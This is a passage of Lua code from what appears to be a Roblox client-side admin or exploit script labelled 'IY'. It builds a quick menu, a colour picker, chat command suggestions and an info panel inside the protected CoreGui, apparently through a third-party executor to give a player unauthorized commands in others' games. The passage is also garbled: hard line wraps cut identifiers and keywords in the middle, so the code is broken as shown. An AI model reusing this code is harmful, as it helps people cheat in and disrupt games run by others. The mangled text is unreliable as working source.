= Enum.FontSize.Size14 cmds_2.Text = "Commands" cmds_2.TextColor3 = Color3.new(1,
1, 1) cmds_2.TextStrokeTransparency = 0.69999998807907
settings.Name = "settings" settings.Parent = sheild settings.BackgroundTransparency
= 1 settings.Position = UDim2.new(0, 146, 0, 0) settings.Size = UDim2.new(0, 60, 0,
36) settings.AutoButtonColor = false
settings_2.Name = "settings" settings_2.Parent = settings
settings_2.BackgroundColor3 = Color3.new(1, 1, 1) settings_2.BackgroundTransparency
= 1 settings_2.Position = UDim2.new(0, 0, 0, -2)
settings_2.Size = UDim2.new(0, 60, 0, 40) settings_2.Font = Enum.Font.Arial
settings_2.FontSize = Enum.FontSize.Size14 settings_2.Text = "Script Hub"
settings_2.TextColor3 = Color3.new(1, 1, 1)
settings_2.TextStrokeTransparency = 0.69999998807907 updates.Name = "updates"
updates.Parent = sheild updates.BackgroundTransparency = 1 updates.Position =
UDim2.new(0, 220, 0, 0)
updates.Size = UDim2.new(0, 60, 0, 36) updates.AutoButtonColor = false
updates_2.Name = "updates" updates_2.Parent = updates updates_2.BackgroundColor3 =
Color3.new(1, 1, 1) updates_2.BackgroundTransparency = 1
updates_2.Position = UDim2.new(0, 0, 0, -2) updates_2.Size = UDim2.new(0, 60, 0,
40) updates_2.Font = Enum.Font.Arial updates_2.FontSize = Enum.FontSize.Size14
updates_2.Text = "Server" updates_2.TextColor3 = Color3.new(1, 1, 1)
updates_2.TextStrokeTransparency = 0.69999998807907 info.Name = "info" info.Parent
= sheild info.BackgroundTransparency = 1 info.Position = UDim2.new(0, 290, 0, 0)
info.Size = UDim2.new(0, 35, 0, 36) info.AutoButtonColor = false info_2.Name =
"info" info_2.Parent = info info_2.BackgroundColor3 = Color3.new(1, 1, 1)
info_2.BackgroundTransparency = 1 info_2.Position = UDim2.new(0, 0, 0, -2)
info_2.Size = UDim2.new(0, 30, 0, 40) info_2.Font = Enum.Font.Arial info_2.FontSize
= Enum.FontSize.Size14 info_2.Text = "Info" info_2.TextColor3 = Color3.new(1, 1, 1)
mix.Name = "mix" mix.Parent = sheild mix.BackgroundTransparency = 1 mix.Position =
UDim2.new(0, 340, 0, 0)
mix.Size = UDim2.new(0, 35, 0, 36) mix.AutoButtonColor = false mix_2.Name = "mix"
mix_2.Parent = mix mix_2.BackgroundColor3 = Color3.new(1, 1, 1)
mix_2.BackgroundTransparency = 1 mix_2.Position = UDim2.new(0, 0, 0, -2)
mix_2.Size = UDim2.new(0, 30, 0, 40) mix_2.Font = Enum.Font.Arial mix_2.FontSize =
Enum.FontSize.Size14 mix_2.Text = "Color" mix_2.TextColor3 = Color3.new(1, 1, 1)
mix_2.TextStrokeTransparency = 0.7
lockic = Instance.new("ImageLabel")
lockic.Name = "lock"
lockic.Parent = iy
lockic.BackgroundColor3 = Color3.new(1, 1, 1)
lockic.BackgroundTransparency = 1
lockic.ImageTransparency = 1
lockic.BorderSizePixel = 0
lockic.Position = UDim2.new(0, 53, 0, -3)
lockic.Size = UDim2.new(0, 40, 0, 40)
lockic.Image = "rbxassetid://1495252742"
info_2.TextStrokeTransparency = 0.69999998807907 MAIN.Name = "MAIN" MAIN.Parent =
iy MAIN.BackgroundColor3 = Color3.new(1, 1, 1) MAIN.BackgroundTransparency = 1
MAIN.Position = UDim2.new(0, 2, 0, -2)
MAIN.Size = UDim2.new(0, 40, 0, 40) MAIN.Font = Enum.Font.ArialBold MAIN.FontSize =
Enum.FontSize.Size24 MAIN.Text = "IY" MAIN.TextColor3 = Color3.new(1, 1, 1)
MAIN.TextStrokeTransparency = 0.69999998807907
Loading.ba:TweenSize(UDim2.new(0.7, 0, 1, 0), "InOut", "Quart", 0.5, true, nil)
quickmenu = game.CoreGui.RobloxGui.TopBarContainer.iy
local TopBarContainer = Instance.new("Frame") TopBarContainer.Name =
"TopBarContainer" TopBarContainer.Parent = game.CoreGui.RobloxGui
TopBarContainer.Active = true TopBarContainer.BackgroundColor3 =
Color3.new(0.121569, 0.121569, 0.121569)
TopBarContainer.BackgroundTransparency = 0.5 TopBarContainer.BorderSizePixel = 0
TopBarContainer.Position = UDim2.new(0, 0, 0, -72) TopBarContainer.Size =
UDim2.new(1, 0, 0, 36) TopBarContainer.ZIndex = 0
picker =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://02011075373")
picker.Parent = game.CoreGui picker.ColorPicker.Visible = false
picker.ColorPicker.Position = UDim2.new(0.5, -219, 0, -500)
quickmenu.sheild.mix.MouseButton1Click:connect(function()
picker.ColorPicker.Visible = true picker.ColorPicker:TweenPosition(UDim2.new(0.5, -
219, 0, 100), "InOut", "Quart", 0.5, true, nil) end)
PKR = picker.ColorPicker
local ColorPicker do
ColorPicker = {}

ColorPicker.new = function()
local newMt = setmetatable({},{})

local pickerGui = picker.ColorPicker


local pickerTopBar = pickerGui.TopBar
local pickerFrame = pickerGui.Content
local colorSpace = pickerFrame.ColorSpaceFrame.ColorSpace
local colorStrip = pickerFrame.ColorStrip
local previewFrame = pickerFrame.Preview
local basicColorsFrame = pickerFrame.BasicColors
local customColorsFrame = pickerFrame.CustomColors
local okButton = pickerFrame.Ok
local cancelButton = pickerFrame.Cancel
local defaultButton = pickerFrame.Default
rainbowButton = pickerFrame.Rainbow

local colorScope = colorSpace.Scope


local colorArrow = pickerFrame.ArrowFrame.Arrow

local hueInput = pickerFrame.Hue.Input


local satInput = pickerFrame.Sat.Input
local valInput = pickerFrame.Val.Input

local redInput = pickerFrame.Red.Input


local greenInput = pickerFrame.Green.Input
local blueInput = pickerFrame.Blue.Input

local user = game:GetService("UserInputService")


local mouse = game:GetService("Players").LocalPlayer:GetMouse()

local hue,sat,val = 0,0,1


local red,green,blue = 1,1,1
local chosenColor = Color3.new(0,0,0)
local basicColors =
{Color3.new(0,0,0),Color3.new(0.66666668653488,0,0),Color3.new(0,0.33333334326744,0
),Color3.new(0.66666668653488,0.33333334326744,0),Color3.new(0,0.66666668653488,0),
Color3.new(0.66666668653488,0.66666668653488,0),Color3.new(0,1,0),Color3.new(0.6666
6668653488,1,0),Color3.new(0,0,0.49803924560547),Color3.new(0.66666668653488,0,0.49
803924560547),Color3.new(0,0.33333334326744,0.49803924560547),Color3.new(0.66666668
653488,0.33333334326744,0.49803924560547),Color3.new(0,0.66666668653488,0.498039245
60547),Color3.new(0.66666668653488,0.66666668653488,0.49803924560547),Color3.new(0,
1,0.49803924560547),Color3.new(0.66666668653488,1,0.49803924560547),Color3.new(0,0,
1),Color3.new(0.66666668653488,0,1),Color3.new(0,0.33333334326744,1),Color3.new(0.6
6666668653488,0.33333334326744,1),Color3.new(0,0.66666668653488,1),Color3.new(0.666
66668653488,0.66666668653488,1),Color3.new(0,1,1),Color3.new(0.66666668653488,1,1),
Color3.new(0.33333334326744,0,0),Color3.new(1,0,0),Color3.new(0.33333334326744,0.33
333334326744,0),Color3.new(1,0.33333334326744,0),Color3.new(0.33333334326744,0.6666
6668653488,0),Color3.new(1,0.66666668653488,0),Color3.new(0.33333334326744,1,0),Col
or3.new(1,1,0),Color3.new(0.33333334326744,0,0.49803924560547),Color3.new(1,0,0.498
03924560547),Color3.new(0.33333334326744,0.33333334326744,0.49803924560547),Color3.
new(1,0.33333334326744,0.49803924560547),Color3.new(0.33333334326744,0.666666686534
88,0.49803924560547),Color3.new(1,0.66666668653488,0.49803924560547),Color3.new(0.3
3333334326744,1,0.49803924560547),Color3.new(1,1,0.49803924560547),Color3.new(0.333
33334326744,0,1),Color3.new(1,0,1),Color3.new(0.33333334326744,0.33333334326744,1),
Color3.new(1,0.33333334326744,1),Color3.new(0.33333334326744,0.66666668653488,1),Co
lor3.new(1,0.66666668653488,1),Color3.new(0.33333334326744,1,1),Color3.new(1,1,1)}
local customColors = {}

local function updateColor(noupdate)


local relativeX,relativeY,relativeStripY = 219 - hue*219, 199 -
sat*199, 199 - val*199
local hsvColor = Color3.fromHSV(hue,sat,val)

if noupdate == 2 or not noupdate then


hueInput.Text = tostring(math.ceil(359*hue))
satInput.Text = tostring(math.ceil(255*sat))
valInput.Text = tostring(math.floor(255*val))
end
if noupdate == 1 or not noupdate then
redInput.Text = tostring(math.floor(255*red))
greenInput.Text = tostring(math.floor(255*green))
blueInput.Text = tostring(math.floor(255*blue))
end

chosenColor = Color3.new(red,green,blue)

colorScope.Position = UDim2.new(0,relativeX-9,0,relativeY-9)
colorStrip.ImageColor3 = Color3.fromHSV(hue,sat,1)
colorArrow.Position = UDim2.new(0,-2,0,relativeStripY-4)
previewFrame.BackgroundColor3 = chosenColor

newMt.Color = chosenColor
if newMt.Changed then newMt:Changed(chosenColor) end
end

local function colorSpaceInput()


local relativeX = mouse.X - colorSpace.AbsolutePosition.X
local relativeY = mouse.Y - colorSpace.AbsolutePosition.Y

if relativeX < 0 then relativeX = 0 elseif relativeX > 219 then


relativeX = 219 end
if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then
relativeY = 199 end

hue = (219 - relativeX)/219


sat = (199 - relativeY)/199

local hsvColor = Color3.fromHSV(hue,sat,val)


red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b

updateColor()
end

local function colorStripInput()


local relativeY = mouse.Y - colorStrip.AbsolutePosition.Y

if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then


relativeY = 199 end

val = (199 - relativeY)/199

local hsvColor = Color3.fromHSV(hue,sat,val)


red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b

updateColor()
end

local function hookButtons(frame,func)


frame.ArrowFrame.Up.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
then
frame.ArrowFrame.Up.BackgroundTransparency = 0.5
elseif input.UserInputType ==
Enum.UserInputType.MouseButton1 then
local releaseEvent,runEvent

local startTime = tick()


local pressing = true
local startNum = tonumber(frame.Text)

if not startNum then return end

releaseEvent =
user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
pressing = false
end)

startNum = startNum + 1
func(startNum)
while pressing do
if tick()-startTime > 0.3 then
startNum = startNum + 1
func(startNum)
end
wait(0.1)
end
end
end)
frame.ArrowFrame.Up.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
then
frame.ArrowFrame.Up.BackgroundTransparency = 1
end
end)

frame.ArrowFrame.Down.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
then
frame.ArrowFrame.Down.BackgroundTransparency = 0.5
elseif input.UserInputType ==
Enum.UserInputType.MouseButton1 then
local releaseEvent,runEvent

local startTime = tick()


local pressing = true
local startNum = tonumber(frame.Text)

if not startNum then return end

releaseEvent =
user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
pressing = false
end)

startNum = startNum - 1
func(startNum)
while pressing do
if tick()-startTime > 0.3 then
startNum = startNum - 1
func(startNum)
end
wait(0.1)
end
end
end)

frame.ArrowFrame.Down.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
then
frame.ArrowFrame.Down.BackgroundTransparency = 1
end
end)
end

colorSpace.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent

releaseEvent = user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)

mouseEvent = user.InputChanged:Connect(function(input)
if input.UserInputType ==
Enum.UserInputType.MouseMovement then
colorSpaceInput()
end
end)

colorSpaceInput()
end
end)

colorStrip.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent

releaseEvent = user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)

mouseEvent = user.InputChanged:Connect(function(input)
if input.UserInputType ==
Enum.UserInputType.MouseMovement then
colorStripInput()
end
end)

colorStripInput()
end
end)

local function updateHue(str)


local num = tonumber(str)
if num then
hue = math.clamp(math.floor(num),0,359)/359
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
hueInput.Text = tostring(hue*359)
updateColor(1)
end
end
hueInput.FocusLost:Connect(function() updateHue(hueInput.Text) end)
hookButtons(hueInput,updateHue)

local function updateSat(str)


local num = tonumber(str)
if num then
sat = math.clamp(math.floor(num),0,255)/255
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
satInput.Text = tostring(sat*255)
updateColor(1)
end
end
satInput.FocusLost:Connect(function() updateSat(satInput.Text) end)
hookButtons(satInput,updateSat)

local function updateVal(str)


local num = tonumber(str)
if num then
val = math.clamp(math.floor(num),0,255)/255
local hsvColor = Color3.fromHSV(hue,sat,val)
red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
valInput.Text = tostring(val*255)
updateColor(1)
end
end
valInput.FocusLost:Connect(function() updateVal(valInput.Text) end)
hookButtons(valInput,updateVal)

local function updateRed(str)


local num = tonumber(str)
if num then
red = math.clamp(math.floor(num),0,255)/255
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
redInput.Text = tostring(red*255)
updateColor(2)
end
end
redInput.FocusLost:Connect(function() updateRed(redInput.Text) end)
hookButtons(redInput,updateRed)

local function updateGreen(str)


local num = tonumber(str)
if num then
green = math.clamp(math.floor(num),0,255)/255
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
greenInput.Text = tostring(green*255)
updateColor(2)
end
end
greenInput.FocusLost:Connect(function() updateGreen(greenInput.Text)
end) hookButtons(greenInput,updateGreen)

local function updateBlue(str)


local num = tonumber(str)
if num then
blue = math.clamp(math.floor(num),0,255)/255
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
blueInput.Text = tostring(blue*255)
updateColor(2)
end
end
blueInput.FocusLost:Connect(function() updateBlue(blueInput.Text) end)
hookButtons(blueInput,updateBlue)

local colorChoice = Instance.new("TextButton")


colorChoice.Name = "Choice"
colorChoice.Size = UDim2.new(0,25,0,18)
colorChoice.BorderColor3 = Color3.new(96/255,96/255,96/255)
colorChoice.Text = ""
colorChoice.AutoButtonColor = false

local row = 0
local column = 0
for i,v in pairs(basicColors) do
local newColor = colorChoice:Clone()
newColor.BackgroundColor3 = v
newColor.Position = UDim2.new(0,1 + 30*column,0,21 + 23*row)

newColor.MouseButton1Click:Connect(function()
red,green,blue = v.r,v.g,v.b
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
updateColor()
end)

newColor.Parent = basicColorsFrame
column = column + 1
if column == 6 then row = row + 1 column = 0 end
end

row = 0
column = 0
for i = 1,12 do
local color = customColors[i] or Color3.new(0,0,0)
local newColor = colorChoice:Clone()
newColor.BackgroundColor3 = color
newColor.Position = UDim2.new(0,1 + 30*column,0,20 + 23*row)

newColor.MouseButton1Click:Connect(function()
local curColor = customColors[i] or Color3.new(0,0,0)
red,green,blue = curColor.r,curColor.g,curColor.b
hue,sat,val = Color3.toHSV(curColor)
updateColor()
end)

newColor.MouseButton2Click:Connect(function()
customColors[i] = chosenColor
newColor.BackgroundColor3 = chosenColor
end)

newColor.Parent = customColorsFrame
column = column + 1
if column == 6 then row = row + 1 column = 0 end
end

pickerTopBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent
local dragOffX,dragOffY = mouse.X-
pickerTopBar.AbsolutePosition.X,mouse.Y-pickerTopBar.AbsolutePosition.Y

releaseEvent = user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)
mouseEvent = user.InputChanged:Connect(function(input)
if input.UserInputType ==
Enum.UserInputType.MouseMovement then
pickerGui.Position = UDim2.new(0,mouse.X-
dragOffX,0,mouse.Y-dragOffY)
end
end)
end
end)

okButton.MouseButton1Click:Connect(function() if newMt.Confirm then


newMt:Confirm(chosenColor) end wait(0.6) pickerGui.Visible = false end)
okButton.InputBegan:Connect(function(input) if input.UserInputType ==
Enum.UserInputType.MouseMovement then okButton.BackgroundTransparency = 0.4 end
end)
okButton.InputEnded:Connect(function(input) if input.UserInputType ==
Enum.UserInputType.MouseMovement then okButton.BackgroundTransparency = 0 end end)

cancelButton.MouseButton1Click:Connect(function() if newMt.Cancel then


newMt:Cancel() end wait(0.6) pickerGui.Visible = false end)
cancelButton.InputBegan:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0.4
end end)
cancelButton.InputEnded:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0
end end)

defaultButton.MouseButton1Click:Connect(function() if newMt.Default
then newMt:Default() end wait(0.6) pickerGui.Visible = false end)
defaultButton.InputBegan:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0.4
end end)
defaultButton.InputEnded:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0
end end)

rainbowButton.MouseButton1Click:Connect(function() if newMt.Rainbow
then newMt:Rainbow() end end)
rainbowButton.InputBegan:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then rainbowButton.BackgroundTransparency = 0.4
end end)
rainbowButton.InputEnded:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then rainbowButton.BackgroundTransparency = 0
end end)

updateColor()

newMt.SetColor = function(self,color)
red,green,blue = color.r,color.g,color.b
hue,sat,val = Color3.toHSV(color)
updateColor()
end

return newMt
end
end
local rainbowCount = 50
local rainbowGuiActive = false
local rainbowreset = true
spawn(function()
local colors = {
BrickColor.Red(),
BrickColor.Yellow(),
BrickColor.new('Lime green'),
BrickColor.new('Cyan'),
BrickColor.new('Dark indigo')
}
while wait() do
for i,v in pairs(colors) do
for num = 1,rainbowCount do
if rainbowGuiActive == true then
local mimic = i-1
if not colors[mimic] then
mimic = #colors
end
mimic = colors[mimic]

updatecolors(mimic.Color:Lerp(v.Color,num/rainbowCount))
elseif rainbowreset == false then
updatecolors(SAVEDCOLOR)
rainbowreset = true
end
wait()
end
end
end
end)
local picker = ColorPicker.new()
picker.Confirm = function(self,color) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -
500), "InOut", "Quart", 0.5, true, nil) SAVEDCOLOR = color updatecolors(color)
updatefile() end
picker.Changed = function(self,color) updatecolors(color) end
picker.Rainbow = function(self)
if rainbowGuiActive == false then
rainbowGuiActive = true
rainbowButton.Text = 'Rainbow [Enabled]'
elseif rainbowGuiActive == true then
rainbowGuiActive = false
rainbowreset = false
rainbowButton.Text = 'Rainbow [Disabled]'
end end
picker.Cancel = function(self) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -500),
"InOut", "Quart", 0.5, true, nil) updatecolors(SAVEDCOLOR) end
picker.Default = function(self) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -500),
"InOut", "Quart", 0.5, true, nil) updatecolors(Color3.new(0.121569, 0.121569,
0.121569))
colorR = 0.121569 colorG = 0.121569 colorB = 0.121569 SAVEDCOLOR =
Color3.new(0.121569, 0.121569, 0.121569) updatefile() end
SAVEDCOLOR = Color3.new(colorR, colorG, colorB)
local sugg = Instance.new("ScreenGui") local suggestions = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local SUG = Instance.new("ScrollingFrame") sugg.Name = "sugg" sugg.Parent =
game.CoreGui
suggestions.Name = "suggestions" suggestions.Parent = sugg
suggestions.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
suggestions.BackgroundTransparency = 0.5 suggestions.BorderColor3 = Color3.new(0,
0, 0) suggestions.BorderSizePixel = 0
suggestions.ClipsDescendants = true suggestions.Position = UDim2.new(-
0.000715821981, 1, 1.03197157, -200) suggestions.Size = UDim2.new(0, 300, 0, 182)
Title.Name = "Title" Title.Parent = suggestions Title.BackgroundColor3 =
Color3.new(0.639216, 0.635294, 0.647059) Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30) Title.Font = Enum.Font.SourceSansBold
Title.FontSize = Enum.FontSize.Size24 Title.Text = "Suggestions"
Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) SUG.Name = "SUG"
SUG.Parent = suggestions
SUG.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
SUG.BackgroundTransparency = 1 SUG.BorderColor3 = Color3.new(0.0666667, 0.0666667,
0.0666667)
SUG.BorderSizePixel = 0 SUG.Position = UDim2.new(0, 7, 0, 40) SUG.Size =
UDim2.new(0, 293, 0, 130) SUG.BottomImage =
"rbxasset://textures/blackBkg_square.png"
SUG.CanvasSize = UDim2.new(0, 0, 0, 5160) SUG.MidImage =
"rbxasset://textures/blackBkg_square.png" SUG.ScrollBarThickness = 8 SUG.TopImage =
"rbxasset://textures/blackBkg_square.png"
local CMDsV = CMDsFolder:GetChildren() for i = 1, #CMDsV do local YSize = 25 local
Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = SUG
newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text
= "" .. CMDsV[i].Value SUG.CanvasSize = UDim2.new(0,0,0, Position + 30) end
local CSP2 = game.CoreGui.sugg.suggestions
local main2 = CSP2
local frame2 = CSP2:WaitForChild('SUG')
Match2 = function(name,str) return name:lower():find(str:lower()) and true end
IndexContents2 = function(str,bool)
if suggestionstoggle == true then
if string.find(str, " ") then
game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0,
0),"Out","Quad",0.2,true) else
local Index,SizeY = 0,0
for i,v in next, frame2:GetChildren() do
if bool then
if Match2(v.Text,str) then
game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300,
0, 200),"Out","Quad",0.3,true)
Index = Index + 1
v.Position = UDim2.new(0,0,0,Index*v.AbsoluteSize.Y-
v.AbsoluteSize.Y)
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame2.CanvasSize = UDim2.new(0,0,0,SizeY) else v.Visible =
false end else
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame2.CanvasSize = UDim2.new(0,0,0,SizeY) end end end end end
IndexContents2('',true)
game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0,
0),"Out","Quad",0.2,true)
Loading.ba:TweenSize(UDim2.new(1, 0, 1, 0), "InOut", "Quart", 0.4, true, nil)
wait(1)
repeat wait() until loadedintro == true
logof:TweenSizeAndPosition(UDim2.new(0,0,0,0),UDim2.new(0.5,0,0.5,0), "Out",
"Linear", 0.1)
wait(0.2)
f:TweenSizeAndPosition(UDim2.new(0,0,0,0),UDim2.new(0.5,0,0.5,0), "Out", "Linear",
0.2)
wait(0.3) g:Destroy()
updatecolors(Color3.new(colorR, colorG, colorB))
Loading:TweenPosition(UDim2.new(0.25, 0, 1.5, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5) Loading.Parent:Destroy()
if gPlayers.LocalPlayer.PlayerGui:FindFirstChild("Chat") and
gPlayers.LocalPlayer.PlayerGui.Chat:FindFirstChild("Frame") and
gPlayers.LocalPlayer.PlayerGui.Chat.Frame:FindFirstChild("ChatBarParentFrame") and

gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame:FindFirstChild("Frame"
) and
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame:FindFirstChild("
BoxFrame") then
function chatboxx() local chatbox =
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.C
hatBar chatbox.Changed:connect(function (property) if suggestionstoggle == true and
property == "Text" then
if
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.C
hatBar.Text:lower():sub(1,1) == cmdprefix then
IndexContents2(gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.B
oxFrame.Frame.ChatBar.Text:lower():sub(2),true)
else game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0,
0),"Out","Quad",0.2,true) end end end) end chatboxx()
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.ChildAdded:Connect(fun
ction(newbar)
if newbar:FindFirstChild('BoxFrame') then
chatboxx() end end)
LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Frame_MessageLogDisplay.Scroller.Can
vasPosition = Vector2.new(0, 9999999999999999999999999999999999999999999, 0, 0)
coroutine.resume(coroutine.create(function()
if script.ClassName == "LocalScript" then
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = "The prefix is '" .. cmdprefix .. "'";
Color = Color3.new(255,255,255);
Font = Enum.Font.SourceSans;
FontSize = Enum.FontSize.Size24;
}) wait(0.5)
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = "Click IY on the top left to see more options";
Color = Color3.new(255,255,255);
Font = Enum.Font.SourceSans;
FontSize = Enum.FontSize.Size24;
}) end end))
else print('Custom chat detected. Will not provide suggestions for the chat.') end
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut",
"Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
qopen = false quickmenu.MouseButton1Click:connect(function()
if qopen == false then fadelock('off')
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true,
nil)
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, 0), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, 0), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01) MusicPlayer:Hide()
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01) qopen = true else
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut",
"Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
if slock == true then fadelock("rbxassetid://1495252742") elseif isagelocked ==
true then fadelock("rbxassetid://1495252495") end
qopen = false if playerenabled == true then MusicPlayer:Show() else
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true,
nil) end end end)
quickmenu.sheild.cmds.MouseButton1Click:connect(function() if cmdOpen == true then
game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true) wait(0.2)
game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true
game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0
.2,true)
else runwindow() end end)
quickmenu.sheild.settings.MouseButton1Click:connect(function() hub() end)
infopen = false quickmenu.sheild.info.MouseButton1Click:connect(function() if
infopen == false then infopen = true
Updates = Instance.new("ScreenGui")
dragg = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
local LOG = Instance.new("TextLabel")
local PopupText3 = Instance.new("TextLabel")
local PopupText4 = Instance.new("TextLabel")
local UTDV = Instance.new("TextLabel")
local PopupText5 = Instance.new("TextLabel")
local shadow = Instance.new("Frame")
Exitt = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
local vers = Instance.new("TextLabel")
Updates.Name = "Updates"
Updates.Parent = game.CoreGui
dragg.Name = "drag"
dragg.Parent = Updates
dragg.Active = true
dragg.BackgroundColor3 = Color3.new(1, 1, 1)
dragg.BackgroundTransparency = 1
dragGUI(dragg)
dragg.Position = UDim2.new(0.5, -225, 0, -600)
dragg.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = dragg
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
